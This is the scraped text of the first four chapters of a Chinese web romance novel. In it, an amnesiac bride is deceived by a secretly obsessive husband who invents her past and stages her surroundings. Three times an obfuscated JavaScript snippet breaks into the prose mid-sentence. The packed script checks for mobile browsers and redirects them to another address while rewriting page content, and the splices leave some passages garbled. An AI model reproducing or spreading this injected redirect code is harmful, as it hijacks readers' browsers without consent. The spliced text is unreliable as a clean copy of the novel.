《夺阿姐》 1. 第 1 章 “诶,你们有见到那新夫人的面貌么?” 正是芒种的夜晚,白日刚下过一阵小雨,将夏日的闷热消融了些。正院房门紧闭,屋内灯火鼎盛,窗棂上贴满了大红囍,垂挂着红稠,明明是夜幕之下,却似火烧云般热烈。 打更人从时府外走过,一慢一快,传来“咚——咚!”的梆子声,无人再出家门。 “没见着,抬进府时人好像还昏着,红帕子也没摘。” 庭院中扫水的丫鬟与婆子各个够着头朝正院观望,半晌听不到动静,压着嗓子窃窃私语。早有郎中带着女医进出过几番,如今已然离开。 “这时府也真是奇了,娶个亲还遇这档子事儿,明明是大吉日,这新夫人莫不是命格不好。” “这有甚,我听人说,新夫人沈氏是个难得一见的美人。只要能哄得爷高兴,这命格一说也是能睁只眼闭只眼。” “诶,可我又听说,这新夫人凶煞得很,膀大腰圆,爷这般温和俊美之人,若非爷青梅竹马,哪儿会娶这样个母老虎回来。” “你们都哪儿听说的?你不是上一周才入府的么?还有你,不前日才从巴州被买来的么?” 此话一出,婆子丫鬟们一阵静默。 片刻后,有人扫视了眼众人,嘿然:“不管怎样,听郎中的意思,新夫人今夜就能醒了,你们好奇人什么模样,明日不就知晓了。爷这搜刮了这么多珍宝来,什么云锦,东珠,螺子黛,全是给新夫人的,可见其重视。” “这府里规矩严着咧,可不是咱们以前待的那乡野之地,还想在这儿过好日子,都得打起十二分精神做事儿,少嚼舌根。” 话音刚落,原本安静的正院屋子惊雷般传来“啪——”一声巨响,震得众人几近肝胆俱裂。 紧接着女子淡然的声音响起:“禽兽。” …… 沈遥扇了面前男子一个巨大的巴掌,动作干净利落。 原本旖旎的气氛戛然而止,她到现在都还感觉身处梦中,脑海空白一片,竟是连自己名字都忘了。 刚才她从一声声“诺诺,诺诺,诺诺”的梦境中转醒,那声音喋喋不休,吵得头疼。 甫一睁眼,便陡然闻到一股带着青草的淡淡冷香,紧接着是热烈的气息喷薄在她鼻尖,距离自己极近。 她当下第一理解,便是被登徒子非礼了。 打完人后安静许久,直到面前的人扭回头,她才真正看清了这张脸。 玉貌清扬,风度翩然,鼻梁高.挺,脸型轮廓分明,线条流畅,他那双桃花眼深邃幽长,瞳孔漆黑,看她的神情虽是无奈,却又温柔宠溺。 若非脸上巴掌红印,找不出一丝瑕疵。 总的来说,虽然是个登徒子,却也是个好看到极致的登徒子。 半晌,男子舌尖顶了顶腮帮子,无奈低喃一声:“果真如此……” “什么?”沈遥没有听清,极力平稳着自己心跳。 男子垂眸敛去情绪,问:“你不记得我了么?” 沈遥顿了许久,努力想要去回忆些什么,却是徒劳无功。 她背缩在拔步床角落,捏紧了盖在腿上的被褥,脚趾悄悄蜷缩,面上却平静如水。 她摇头,故作镇定问:“你是谁?我是谁?这是哪儿?” 男子凝视着她,眼神中透露着惋惜。 三个问题接连而出后,他顿了片刻,又答得不假思索:“我是你夫君啊。” “夫君?”沈遥一怔。 她的视线这才落到自己身上,绯色寝衣,与面前男子别无二致。满屋子的喜色,两根粗壮的红烛高照,将他们的影子在拔步床内拉得很高。 他声音温和:“忘了也无妨,我们今夜重新认识便是。” “你是沈遥,海阔山遥的遥。我单名一个‘衍’字,衍沃绵千里的衍,姓……时,时衍。” “而这里,是葫芦镇,我们从小长大的地方,离长安城不远。” “沈遥……时衍……” 名字倒是顺口,像是在哪里听过。 她看着他面上的红印,没说信或是不信,却也有些尴尬。 想到刚才令人脑袋发疼的声音,她又问:“刚才是你在叫我……‘诺诺’?” 时衍颔首,“诺诺是你小字。” 沈遥:“那……你可有字?” 时衍摇头,笑道:“我还未加冠。” “你叫我夫君便好,若是不愿,时衍也可。” 沈遥可有可无地点了下头,没想到他年纪竟这般小。 时衍见她垂眸一直不说话,也不知究竟在想什么,便伸出手想摸摸她的头。 哪儿知她被他突如其来的动作震了一下,身子下意识后缩躲开,牵动了她身上的伤口,疼得“嘶”了一声。 时衍即刻收回手,不敢有更多动作,“你身上还有伤,小心些。” 沈遥摸着自己的手肘,压制着心烦意乱,“所以……究竟发生了什么?” 时衍叹了口气,“你我青梅竹马,如今年龄不小,便顺势结亲。今日本是你我成亲之日,却没想到迎亲途中遇了山匪,你那些嫁妆都被劫走,混乱之中,轿子滚下山崖。我当时吓坏了,冲下山崖将你救起。” “可后来郎中说,你撞了头,极有可能忘却从前。” 沈遥神色依旧平静地看着他,通过他的话语慢慢回忆。 陡然间,她脑袋刺痛起来,按压着眉心闭眼,一些零碎的画面袭来,人声鼎沸,刀剑相撞,紧接着是天旋地转。 “诺诺,你怎么了?”时衍满是忧心,却不敢轻易触碰她。 沈遥缓了许久,才悠悠睁开双眸。屋内寂静,唯有刻漏发出的滴答声响,伴随着强烈的心跳。 头痛终于散去后,她静静道:“想起来了。” “想起?想起什么了?我吗?”时衍瞳孔猛地收缩了一下,双拳攥紧发颤。 沈遥揉着脑袋,抬眸看向他,身子有些无力地靠着床壁。 最后,她摇摇头,“我好像想起你说的场面了,只是挺混乱的。” 时衍不动声色地松了口气,佯作懊恼地捶了一下腿后,将手藏进被褥,“说来也是怪我,明明承诺过会护你一世,却还是叫你遇到这等事儿。” “可是头疼?我去唤郎中来再给你看看。” 沈遥阻止他,“无需如此,已经好了。” 看着夫君的担忧,她反倒安慰起来,“祸兮福所倚,福兮祸所伏。之后会好起来的,说到底,还是多亏了你,我才能活着。” 时衍看着她,集世间纯净于一身,让人如此依恋。 他说:“诺诺还是如此这般单纯,良善。” 沈遥一时语塞。 时衍问:“今日你都没怎么吃东西,可饿了?我叫厨房起灶。” 沈遥心绪不佳,没什么胃口,“不饿。” 隔了一会儿后,她又道了声谢谢。 “你我夫妻,不可如此客气。” 时衍继续下床,低着头穿鞋,“那我给你换药,饭可以不吃,可身上的伤总是得上药。” 说罢,他便去了一趟净室,回到床边后,手中多了一药箱,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181388|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块白帕,还有一盆热水。他将帕子浸湿拧干,等她动静。 沈遥知道他想亲自换药,耳根子忽然红了起来,半晌不动弹,“若不如让我自己……” “你自己上药只怕做不好。”他倾身上前,哄小孩般温柔,却又带着不可置疑,“你之前的药也是我上的,怕甚?诺诺,乖。” 他的声音好似有怪力一般,让她不自觉听话。 沈遥拉起袖子,待他处理好伤口后,她又露出长腿玉足,似夏夜见不到的白雪,让人心颤。 时衍眼神暗了暗,快速将腿上的伤处理过后,又用被褥将她盖起,最后才处理她额头上的擦伤。 沈遥感受到他触摸过的肌肤留下了火辣辣的灼烧感,又带着被羽毛挠过的微痒。 太安静了,她想说点什么打破沉静,“你处理伤口很娴熟?” 时衍手指轻顿,又继续动作着,笑道:“郎中今日教的。” “我学什么都快,是诺诺忘了。” “哦。” 待他上完药,收拾好后,也是发现了她因自己产生的不自在。 “好好养身子,你放心,在你愿意圆房前,我定不碰你。” “啊,哦。”沈遥整理着思绪,如释重负,又飞快瞥他一眼,“……抱歉。” “什么?” 沈遥指了指他的脸,他明白过来轻笑一声,“不必内疚,也不必道歉,说过了,你我可是夫妻。” “没有内疚。” 时衍哭笑不得,“又不是第一次被诺诺打,习惯了。” 沈遥一时不可置信,讪讪低下头。 见时辰不早,时衍唤进来一个弓着腰的丫鬟。 她敏锐察觉到,那丫鬟在进入喜房时悄悄瞥了一眼夫君,脚步一顿,低着头不敢抬眼,指尖有些细微地哆嗦。 沈遥的目光落在丫鬟手上。 可是这一切又转瞬即逝,又让她以为自己是否错看。 时衍看回她,自是注意到她今日刚醒,心绪不宁,便温声安慰:“你不必想太多,养好身子最要紧。” 沈遥抿唇“嗯”了一声,看着他又对丫鬟嘱咐了些照顾事宜,踱步走出房门。 屋内重新安静下来,丫鬟这才上前一步,恭敬道:“夫人,奴婢锦书,若有任何需要,尽管吩咐。” 沈遥回头看了锦书一眼,少女眉目清秀,姿态端谨。 她忽然又想到什么,身子一顿。可一瞥刻漏,便还是只叫人伺候自己洗漱。 罢了,明日再问她那夫君。 在锦书做着准备时,沈遥环顾了一圈这间房,屋中燃着一炉清淡的香,她长叹一声,心头浮着几分说不出的沉闷。 可当坐到妆奁前,心底的沉闷竟消散不少。 铜镜中的她靡颜腻理,令人舒适的脸廓,下巴尖尖,细腻如瓷般的肌肤,小巧的鼻翼,晶莹的朱唇,桃腮杏眼,即使额头上还带着些许擦伤,也不影响她的美。 说实话,别说自己名字,她可真是连相貌都给忘了。 此刻看到自己模样,便像抽中了上上签,美丽的事物总是能令人心旷神怡,尤其是自己。 为她梳发的锦书自然发觉她情绪转变,“夫人心情好了不少。” 沈遥依旧冷淡,“嗯,还不错。” 话音刚落,她从铜镜中又看了一眼锦书,倏然意识到时府有下人,可夫君还是亲手给她换药。 登徒子! 她收回视线,继续端详着自己的容貌,又道:“感觉,时衍好像配不上我了。” 锦书:“……?” 2. 第 2 章 锦书被她的话惊得魂颤,眼珠子一转,立刻拍起她马屁,什么沉鱼落雁,闭月羞花,玉骨仙风,绝代佳人。 算是用尽了她这丫鬟所知晓的所有词,总算哄高兴了面前的小夫人。 至于锦书口中所说嫁给时衍的个中好处,她听了个大概,耳朵发疼,最后将人赶走。 沈遥吹灭蜡烛,钻进被窝,本以为会极难入睡,却没想到顷刻间便雷打不动。 深夜万籁俱寂,唯有屋外蝉鸣声声。 一阵瓷器破碎的声音骤然响起,沈遥被惊了起身,掀开被褥,往支摘窗走去。 推开窗棂,屋外空荡一片,偶有风吹草动。当她垂下眸子,发现窗台上放着一张白纸,上面赫然写着“永乐”二字。 永乐? 这是何意? 正在沈遥深思之时,身后传来一阵冷香,无孔不入。她猛地转身,只见时衍一袭盗贼黑衣,拉下面巾看着她□□。 男人手触摸过的地方好像着了火一般,呼吸喷薄在她的耳边,低沉声音入耳:“诺诺,乖。” “夫人!” “夫人!” 另一阵声音从远处传来,沈遥思绪回笼,猛地睁开双眼。 头顶的帷帐仍是一片大红,阳光从窗户外透入,暖风带着清新的雨气。 身边空荡,只她一人躺在拔步床上。 “夫人,你梦魇了啊?”锦书站在拔步床边,神情担忧地看着她。 对,她竟梦到夫君成了采花大盗,对自己意图不轨。 沈遥不动声色地起身,脸红扑扑的,有些发烫,见锦书一直盯着自己,故作冷淡道:“夏日闷热,许是不太习惯。” 说完,她坐起身,见锦书后退一步,“夫人可是要起床,奴婢伺候夫人洗漱。” “嗯。” 锦书颔首,又唤了三个下人进屋伺候,端热水的,备巾帕的,拿香木棒的,各自分工明确,不多看她一眼,也不多言一句。 不知时家有多大,有多少下人,似乎整个宅院的人都被规训得极为守礼。 沈遥被伺候得有些不自在,接过巾帕,“无需这么多人伺候。” 锦书道:“夫人不必客气,这些都是奴婢们分内之事。她们是姑爷从时府精挑细选,特意安置过来的,奴婢则是夫人陪嫁,很熟悉夫人起居。” 沈遥目光从几名低眉顺目的婢女身上扫过,最后落在锦书身上。 她疑惑:“我以前难道是很严苛的人?” 锦书一怔。 沈遥继续道:“你们都好规矩,总觉得似乎在怕我。” 锦书神色有一瞬间的僵硬,“夫人性子温顺,怎能说怕。只是做奴婢的都得讲规矩,不能丢了主子脸面。” “夫人曾经……也是极讲规矩的。”她又补了一句。 沈遥“嗯”了一声,几人便动作利落地伺候起她来。 不多时,沈遥已经换上了一袭淡青色绢纱襦裙,乌发挽成妇人髻,戴上一花簪。 她又是对着铜镜欣赏了许久,唇角勾起,直到余光掠过门口,夫君已经端着一碗竹叶粥站在那儿,目光落在她身上。 她淡淡扭过头低下,扯平嘴角,摸着鬓发,一动不动,也没再继续看镜子。 时衍眼中略过一丝笑意,步入回房中,坐于案几前,朝着她招手,“诺诺昨夜便未用膳,现也不早,怕是饿了。” 沈遥走近,坐到他身侧,看着他将粥推到自己面前,想到昨夜的梦,又想起刚才短暂的尴尬,一时不自然。 “你不吃吗?” 时衍淡笑着答:“吃过了。” 沈遥先喝了口温水,忽视那股怪异,垂眸,手指在碗沿轻轻摩挲着,“时衍。” “怎么了?” “问你个问题。” “什么?” 沈遥抬眸盯着他,“既然我们是青梅竹马,在葫芦镇长大……” “那为何接亲……会经过镇外山路?” 她昨夜在他走后,想到此便疑惑起来,这问题哽在心头许久。 时衍垂着眸,一时间令人看不清神色。 他没有立刻回话,只是将一旁小菜推到她面前,又看回她笑笑,“诺诺不相信我?” 沈遥看着面前身材颀长,宽肩窄腰的男人。 才十八、九的年岁,周身却已无半点少年人的浮躁。举手投足间自有一种沉静的力量,像是一汪深潭,让人难以窥探深浅。 他看着她的眼神干净澄澈,嘴角噙笑,连眸光都像春日细雨,润物无声。 他声音依旧温柔,可不知为何,沈遥心中却微微一滞。 她试图从他的面颊上找出些许破绽。 然而不论如何仔细查探,依旧平静如水,耳根脸颊没有任何因心虚而导致泛红的现象。 她茫然起来。 她不信他吗?倒也未必。 可如果信他,那她又为何总觉得哪里不对劲? “我为何要骗诺诺呢?” 时衍眸光中浮起一丝落寞,声音也柔缓几分,“我本想等你身子好些,再慢慢告诉你,省得你多想。可纸终究包不住火,诺诺迟早会知道的。” “那……你真的要听吗?” 沈遥屏住呼吸,“说,我要听。” “好。”时衍望着她,“你我父母,曾经都是做丝绸生意的商贾,家境殷实。只可惜……” “他们一次在外行商时,出了意外,再也没能回来。” 沈遥心底一颤,她竟已是无父无母的孤女了? “我便是担心,诺诺如今失了记忆,又骤然知晓这个噩耗,怕你一时难以接受,才一直未说。” 时衍见她神情恍惚,有些心疼地抬头摸了摸她的头,见她并未如最初那般剧烈抗拒,心底更是柔软下来,“诺诺,怪我吗?” 沈遥尚未从震惊中缓过神来,他的手指已顺势下滑,意外拂过她的耳垂。 她瞬间心跳乱了半拍。 还没反应过来,时衍的手已经收回去了,那股炽热的温度还残留在肌肤上,叫她的耳尖一阵发烫。 时衍:“你不说话,我会难过的。” 沈遥怔然地摇了摇头。 时衍低低笑了声,眼底浮起一抹暖意。 他拉开一些距离,“我身为家中男子,自是继承了家业。而诺诺,你则被伯父伯母的故交带去了长安,收作义女。” “所以此次迎亲,便是将你从长安迎回葫芦镇。” “那……我义父义母?” “他们亦是商贾人家。待诺诺伤好,我便带你去见他们。” 沈遥低头消化着这突如其来的信息,胸口闷闷的。 “别想太多,先用膳。”时衍朝着那碗粥抬了下头。 沈遥“嗯”了一声,就在勺子即将送入口中时,她忽然注意到他指尖微微泛红,像是被烫过。 “难道,这是你亲手做的?” 时衍似乎不太好意思,低头摸了摸鼻子,嗓音略显干涩:“嗯。以前没做过,今早跟着厨子学了许久,让诺诺见笑了。” 看着他微微紧张的模样,沈遥忍俊不禁,将整碗竹叶粥一口闷下,她放下碗,又狂饮了几口水,“好吃的。” 时衍眼神微微一亮,像是松了口气。 沈遥却又轻咳一声,坦然道:“下次别做了,还是让厨子做吧。” 时衍:“……” 这话有什么不懂,片刻后还是忍不住轻笑起来。 只经此一碗竹叶粥,两人间的气氛显然轻松不少。 待漱口后,沈遥才又提出自己的想法,“时衍,我想快些恢复记忆。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181389|165293||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 时衍目光微敛,见她虽脸上带笑,眉间愁容却挥之不去。 他说:“郎中说你需得多多卧床静养,虽然我也很想诺诺快些忆起我,可身体还是最重要。” 沈遥颔首,随即犹豫了一下,“昨夜梦魇,梦中我看到一张写着‘永乐’的纸,不知何意,但总觉得有希望恢复记忆的。” 时衍一怔,闲闲抬手,轻轻摩挲着茶盏的边缘。 很快又温吞道:“去镇子上转转吧,或许能让诺诺触景生情。” “不过如今世道不算太平,你女孩子家,便不要独自出葫芦镇了。你从小便在此地长大,应是熟悉。” 沈遥听明白他的顾虑,垂眸看了一眼他被烫红的手指,轻轻点了点头。 昨夜虽未圆房,但新婚第二日,仍需按规矩祭拜父母。 锦书扶着沈遥起身,随时衍一道往祠堂而去。 祠堂位于东侧,青砖黛瓦,沉静肃穆。院中立着槐树,晨风卷过叶梢,发出沙沙作响的轻声。 时衍走在她身侧,沈遥偷觑了他一眼,发现他原本并不显壮的身形,实则被衣袍掩去了肌理,肩背分明,步履间透着一丝沉稳。 他下意识地放慢了脚步,与她并肩而行,行至拱门前,手掌一抬,替她挡住刺目的晨光。 入了祠堂内,见时衍一动不动盯着自己,她心里又感到些许怪异,可这感觉仅仅持续了一会儿,想到他的无微不至,后又因他的话语烟消云散。 他从旁拿过香为她点上,递到她手中后,自己也拿着香叩首,温柔笑道:“父亲,母亲,你们看,诺诺来了,如今已是儿的夫人……” 沈遥回过头,看向不远处的牌位,或许因着两人皆无双亲,总是能感同身受。 她也随即叩首,尊敬地喊了声爹娘,而后按照规矩敬茶。 做完这一切后,转头见时衍还看着自己。 他说:“父亲母亲最喜诺诺,如今诺诺成了我夫人,他们泉下有知,定欣喜万分。” 沈遥不由心底动容,垂眸点点头,在锦书的搀扶下再次起身,与时衍一同离开祠堂。 离开前她再次回头看了一眼牌位上的名字。 他们老人家应该对她很是熟悉。 可是她见到那名字,却依旧除了陌生,还是陌生。 两人缓步往回走,这期间又随意聊了些有的没的。 当沈遥问他如今是否还在做丝绸生意时,时衍摇头,道自己在城中书院读书,准备考取功名,这些时日因着娶亲的缘故,已久日未上学。 沈遥不敢耽误,怕他落了功课,便起身催促着他无需管自己,该快些回去读书,正好自己也趁此机会在镇中四处转转,找寻记忆。 时衍看着她神色期待,知晓她从小便是待不住的性子,“也好,出门记得带上锦书,好叫我安心。” 沈遥自是答应。 时衍将她送回正院,看着她纤细的背影渐行渐远。 良久,他才收回视线,阔步朝府外而去。 走出带着“时府”牌匾的大门,贴身侍卫南风很快跟了上来,举止投足极为恭敬。 而时衍,说是姓时,实则姓宋。 宋衍站在台阶上,在他人看不到的地方,原本脸上温和的笑意早已消失无踪,反倒病态地咧开嘴,舌尖舔过牙齿。他抚摸着藏在自己胸口的帕子,眉峰与眼眸翻滚着狂热,许久后,才感受到渐渐平静下来的心跳,一边扫视空旷的街道。 他恢复镇定,对身后的人冷然道:“夫人今日便要出街,想找寻记忆,让镇里该出来的人都出来,热闹些,给她看她想看的,不许露出任何破绽。” 南风一向忠心耿耿,想不通他做这一切的目的,却始终害怕着这个常年行走在尸山血海中的双面男子。 他后脊一冷,低头恭道:“是!” 3. 第 3 章 沈遥随意披上件披风,戴上一幅幂篱,便带着锦书出了门。 可天气却算不上好,晨光未散,细雨飘落。 锦书为沈遥撑起油纸伞,未乘马车,随着走出时府。 雨点打在伞面上的声音轻巧悦耳。 锦书扫一眼地上淡薄积水,有些忧心,“夫人,郎中嘱咐过,雨天寒湿,若着了凉,可不太妙。不若等雨停了,或是明日再出街,许是更好?” 沈遥摇摇头,顺着街道漫无目的地走动。 她环顾着四周,即便是这样阴沉的天气,小贩们也都将摊位摆出,卖着各式各样的物品。 街边一对看似夫妻的少男少女挑选着香囊,另一边茶铺中的客人吵嚷不停,或是打双陆,或是斗鸡。 走过一座石桥,杨柳依依,旁边是小酒馆,不远处传来乐馆伶人的欢笑与伴奏。 葫芦镇不大,烟火气十足,却找不到一丝熟悉。 沈遥随意找了处凉亭落座,看着外面细雨,轻声道:“这镇子虽小,却什么都有。” 锦书收伞,看着被幂篱挡住面容的沈遥,“此处生活安逸,素有小长安之称。” “夫人若是想寻什么,皆应有尽有。” 沈遥沉吟片刻,问:“锦书,我在此处生活过多久?” “夫人出生在此地,直到……沈家出事,也是有十五年了。” “那沈家府邸可还在?能否带我去看看?” 锦书一滞,迟疑半晌。 沈遥目光微凝,隔着幂篱的白纱瞟向她,“怎么了,锦书?” “嗯!”锦书骤然回神,低着头,神情变换,最后凑近她道:“奴婢怕说出来令夫人伤心,沈家出事那年,因着家中没了男丁,被远方亲戚吃了绝户。以至于……” “……后来的宅子被人几经转手,如今彻底改成了一片马场,夫人,还想去看吗?” 说完这话后,锦书低着头,弓着腰,不敢再多言。 直到许久后,才听到面前的沈遥发出一声长叹,“去看看。” “是,夫人。”锦书搀扶沈遥起身,重新开伞,带着她往西面一马场而去。 途经街市,沈遥不自觉地多看了几眼路旁的宅院和镇民的生活。 小桥流水人家,四处是孩童稚子,手中拿着糖葫芦互相追逐打闹,身后跟着一只小白狗跑跑跳跳。妇人聚集在河边浣衣,脸上皆是笑意。 她好奇道:“锦书,时家家业很大么?” 她潜意识的直觉中,三进的宅院虽不小,却也不算太大,可在路过的民房中,没看到有任何一家有时家这般大。 锦书撑着伞,笑道:“葫芦镇离长安不远,地价贵些,普通人家难得置业。时家祖上经商,府邸自然宽绰。” “夫人尽管放心,姑爷继承的家产,就算不继续经商,每日闲赋在家,也足够养活这一大家子数辈了。” “他读书,是想走仕途吧。” “商毕竟无法与官相比,姑爷也是想给夫人足够安稳的生活。” 锦书许是渐渐和沈遥熟了起来,话里话外,皆在替宋衍说好话,“姑爷可是真心对夫人好,夫人虽不记得,可我们这些下人却是看在眼中。” 沈遥听闻此话后赧然一笑,却很难说自己心底是否真的安定上几分。 没多久,两人便走到了锦书口中的马场。 她没有进入打扰,只是看着四周半大人高的栏栅,几排相似的杨柳树,中间空旷的跑马场。或许因着宅院消失多年的原因,所有的一切仍然无半分熟悉感。 她闭上眼睛,努力去捕捉关于沈家的记忆,可最终徒劳无功。 “夫人?夫人?” 锦书见沈遥呆滞在原地许久,喊了好几声都没有反应。 一阵带着雨味的风吹过,沈遥打了个寒颤,这才猛然回神,问:“怎么了?” 锦书隔着纱看不清沈遥脸色,只能问:“夫人是想跑马吗?可要进去看看?” 沈遥搓了搓自己有些起了鸡皮疙瘩的手臂,摇头道:“罢了,回去吧。” 刚才那瞬间,她心底说不难过定是假的。 忘记了自己身边亲近之人不说,连自己父母都想不起,实为不孝。 可她又并非这戚戚暧暧,以泪洗面之人,日子还是要过下去,唯一能做的,或许也只是祈求快些恢复记忆。 回府后,沈遥本想小憩一番,却翻来覆去未能入眠,最后见屋外雨停,索性披上外衫,趁着锦书煎药之时,信步走出屋门闲逛。 外院中种满梨花,雨水洗过的花瓣犹带湿润,风过处,落英纷纷。 “真不懂,爷为何如此看中那得了离魂症的疯女人,明明楚绣姐姐长相也不相上下。”忽然一带着几分讥讽的声音从后院梨树下传来。 沈遥脚步一顿,僵硬地顺着墙根缓缓探身,隐约看见几个丫鬟围在梨树下,似乎做完了活,聚集一处闲聊。 其中一名身着纱裙轻薄的女子,肌肤隐隐透出衣料,身前浑圆拥挤高耸,皮肤白皙柔软,被众人簇拥在中间,似乎就是她们口中的楚绣。 楚绣微微一笑,语音柔婉,“好了,毕竟是爷明媒正娶回来的夫人,也是可怜。况且,这时府不简单,规矩森严,爷平日也不让下人随意聊这些。” 旁边稍微胖一些的小丫鬟不服气道:“爷只提过,如今长安局势动荡,未免被波及,不让我们闲聊镇子外的事儿,可没说过不能说两句那疯女人。” “就是,也就只是可怜罢了,这样的人又能得爷多久怜惜?” “依我看啊,楚绣姐姐可得加把劲儿,若是能去了书房做大丫鬟,以姐姐的容貌,还不怕哪日抬一抬身份,给爷当个妾么?” 众人纷纷附和,笑语暧昧。 楚绣听闻后脸一红,垂下头,婉拒道:“可是……爷向来都只用小厮,我入府时间也短,入书房伺候,哪儿那么容易。” 那胖丫鬟拍了拍楚绣,着急道:“姐姐啊,爷虽未与夫人圆房,可到底年轻气盛。我曾经伺候过的人家,哪位爷不需要纾解,男人都一个样儿,谁知道以前可曾有过什么通房丫头,想要得一身份,就是得趁着如今这良机啊。” 其余的丫鬟点头,也跟着说:“是啊楚绣姐姐,别说这时家家大业大,又是镇上首富,就爷这般年轻俊美,性子又温柔宽容的,着实少。我们这群丫鬟中,也就楚绣姐姐条件最好了。别说抬做良妾,就是单收入了房中,那也前途……” 沈遥深吸一口气,正准备迈步走出去,严厉的声音已经打断了院中几人的谈话,“放肆!” 是锦书。 “主子岂是你们能随意议论的?忘了时府规矩了吗?” 丫鬟们瞬间噤声,楚绣也收敛了笑意,皆恭顺低头:“锦书姐姐教训得是。” 话虽如此,不过楚绣其实并不怕她。 她们几人皆是从很远的外地买来,虽入府时间短,却算是时府的人。而锦书却是夫人带来的陪嫁。 府中规矩是多,可这些日子倒也摸清了爷性子,并非是喜欢随意处罚发卖奴婢的主子。 锦书扫视了一眼楚绣,挺直了身子,面无表情道:“规矩就是规矩,我不管你们心底对姑爷存着什么心思,可是不该说的话,若下次再叫我听到,那便直接禀给管事了。” “破了规矩,你们真以为姑爷能容得下么?” 说完后,四个丫鬟面面相觑,虽然有些不甘,却还是认命地道了一声“是”,而后便离开院子。 锦书瞅了一眼楚绣的神情,无奈轻叹一声。 待人离去,锦书转过身,这才看到站在不远处的沈遥,惊了一下。 这么说,刚才那些碎嘴子的话都被她听到了。 锦书悬着心随即快步上前,站定在她面前弓下腰,一点儿都不似刚才在别的丫鬟前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋衍径直至她身旁坐下,看着她纤细的手腕,“听说你今夜都没怎么用晚膳,是厨子做的不合诺诺胃口?” 沈遥被盯得发痒,下意识用袖口掩住手腕,又看着面前有些疲惫的男人。 虽然今日心中有些委屈,可若要她撒娇一般脱口抱怨,还是做不到。 “厨子手艺极好的,只是不知怎的,胃口有些小了。” “瘦的厉害啊。”宋衍收回盯着她手腕的视线,笑着调侃一声,“若是生孩子,会很辛苦。” 他说完抬头一看,却见沈遥眼中似乎含着幽幽嗔怨,他一滞,眨眼,讪讪摸了摸自己鼻子。 见她不说话,他起身走到房门口,叫人送些新鲜瓜果来。 而后又自己开始倒腾起热水和药膏,当回到床前将热水放好时,洗好的梅子也送了进来。 宋衍如老夫子般侈侈不休:“吃的太少会头晕,给你煲的人参鸡汤可是补身子的,一口没喝,这样身子怎会好的了。你啊,就是不听郎中的话,下着雨呢,白日还出去走动。这下可好,如今胃口不佳,定有其中原因……” 这话一出,原本有些委屈的沈遥,心底竟是更委屈了。 终是没忍住,轻轻踹了一脚宋衍,打断了他的说教。 “怎的了?” 沈遥皮笑肉不笑,指了指窗外,“你看那是什么?” 宋衍扭头看去,只见月光下,两三只小青蛙在水塘边蹦跶。 “青蛙。” 沈遥:“不,那是癞.ha.蟆。” 宋衍瞬间闭了嘴。 沈遥:“看到没,癞.ha.蟆呱呱念经了。” 宋衍:“……” 沈遥:“厉害,佩服。” 宋衍:“……” 4. 第 4 章 宋衍记得,她自小便是个高冷的气包子,却也好哄得很。可即便如此,他还是最怕沈遥生气。 他轻声道:“好了,我不说了,别生气。” 他见她神色缓和几分,将那碟梅子往前推了推,“诺诺最是爱吃这水果,尝几个,我替你换药。” 沈遥抿唇,指尖挟起一颗梅子,放到口中咬开,汁水溢散,酸酸甜甜。 原来她竟是真喜欢这种水果。 可是,她还是不想留他。 沈遥因着没休息好,翌日竟睡到晌午才醒。 无公婆约束,晨昏定省皆免,自然也就无人管她每日睡到何时。 拔步床的帐幔尚未完全收起,她懒洋洋地伸了个懒腰,注意到腕间与膝上包扎得极为妥帖,连夜间翻身都没弄松丝毫。 有一就有二,是昨日她那夫君亲自为她换的,见都见过了,便由着他去。 沈遥也看出来了,他很想留下来,却还是去了书房就寝。 他很尊重她。 这般倒是显得自己格外骄矜,他毕竟是她的夫君,却连正房的床都睡不得。 沈遥起身的动静被屋外之人听到,锦书如之前那般,带着丫鬟们入内伺候着洗漱。 她回眸,将视线挪到窗外,闻到雨后清新的气息,没了往日那般闷热。 锦书为她梳头,看着沈遥极为小巧的脸蛋,刚睡醒后还带着松散,“今晨下了小雨,姑爷见夫人睡得熟,便没让奴婢去吵您。” 沈遥收回视线,从铜镜中望向锦书,“时衍去城中书院了吗?” 锦书摇摇头,道了一声“不晓得”。 她将沈遥的头发挽好,又为其簪上一朵鹅黄宫花,并不繁复,却点缀得娇颜恰到好处,纯洁无暇。 正此时,屋门被推开,雨后的湿气被风送入屋内,带着青草的味道。沈遥见来人一怔,“我还当你已出门去了。” 宋衍的披风有些鼓囊,也不知抱着什么,朝沈遥一笑,语气轻快,“快来!” “什么?”沈遥眨眨眼,走上前去。 “昨夜见你心情不好,今日索性不去书院,留在府中陪你。书嘛,何时都可读。” 他说着,唇畔笑意微深,“原是想出门替你买糖人,谁知在街上遇着这个,便捡了回来,定比糖人更得你喜欢。” 言罢,他小心翼翼敞开怀中披风。 沈遥眼睛亮了,惊诧地“呀!”了一声。 没想到竟是一只被雨淋湿的小橘猫。 那小猫不过巴掌大小,湿漉漉地蜷在他怀里,一双碧绿的眼睛圆溜溜的,警惕又好奇地打量着陌生环境。 小猫看到她后奶声奶气地“喵”了几下。 宋衍挑眉,“就知诺诺会喜欢。” 